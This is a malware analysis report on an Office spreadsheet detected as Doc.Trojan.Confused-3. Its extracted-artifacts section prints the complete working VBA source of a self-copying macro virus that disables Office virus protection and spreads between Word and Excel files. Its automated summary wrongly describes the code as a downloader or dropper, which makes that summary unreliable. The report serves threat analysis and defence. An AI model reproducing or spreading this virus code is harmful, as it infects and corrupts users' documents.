Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca89d4dac5b3490b…

MALICIOUS

Office (OLE)

18.5 KB Created: 1999-01-24 21:25:59 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 1e0f3337b7d8d02f6c5455df0c851d48 SHA-1: 2195920edfa0f86ec6f9db62465139d9def35964 SHA-256: ca89d4dac5b3490b83d965519ed8cfe48b1fe73f716de5381a7c7a9ffae7ec02
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, indicated by the OLE_VBA_MACROS heuristic. The script uses a GetObject call, which is often employed to download and execute additional payloads. The ClamAV detection 'Doc.Trojan.Confused-3' further supports its malicious nature. The VBA code attempts to disable virus protection and execute code from the 'ThisWorkbook' module, suggesting a downloader or dropper functionality.

Heuristics 3

  • ClamAV: Doc.Trojan.Confused-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Confused-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2638 bytes
SHA-256: 6744ca69e0eb7c202a4dac595c2877e13744ceb93d0e3ee39b6b8e57bf64b6c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused Memories
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Application.EnableCancelKey = 0
With ThisDocument.VBProject.VBComponents("ThisDocument").CodeModule
λ = .Lines(1, .CountOfLines + 1): End With
Err.Clear: Set υ = GetObject(, "Excel.Application").VBE.ActiveVBProject.VBComponents("ThisWorkbook").CodeModule
If Err.Number = 0 Then If Not υ.Find("~^^~", 0, 0, 0, 0) Then υ.DeleteLines 1, υ.CountOfLines: υ.AddFromString λ
For ι = 1 To Documents.Count
With Documents(ι).VBProject.VBComponents("ThisDocument").CodeModule
If Not .Find("~^^~", 0, 0, 0, 0) Then
.DeleteLines 1, .CountOfLines
.AddFromString λ
End If: End With: Next
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.EnableCancelKey = 0
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
λ = .Lines(1, .CountOfLines + 1): End With
Err.Clear: Set υ = GetObject(, "Word.Application").VBE.ActiveVBProject.VBComponents("ThisDocument").CodeModule
If Err.Number = 0 Then If Not υ.Find("~^^~", 0, 0, 0, 0) Then υ.DeleteLines 1, υ.CountOfLines: υ.AddFromString λ
For ι = 1 To Workbooks.Count
With Workbooks(ι).VBProject.VBComponents("ThisWorkbook").CodeModule
If Not .Find("~^^~", 0, 0, 0, 0) Then
.DeleteLines 1, .CountOfLines
.AddFromString λ
End If: End With: Next
End Sub

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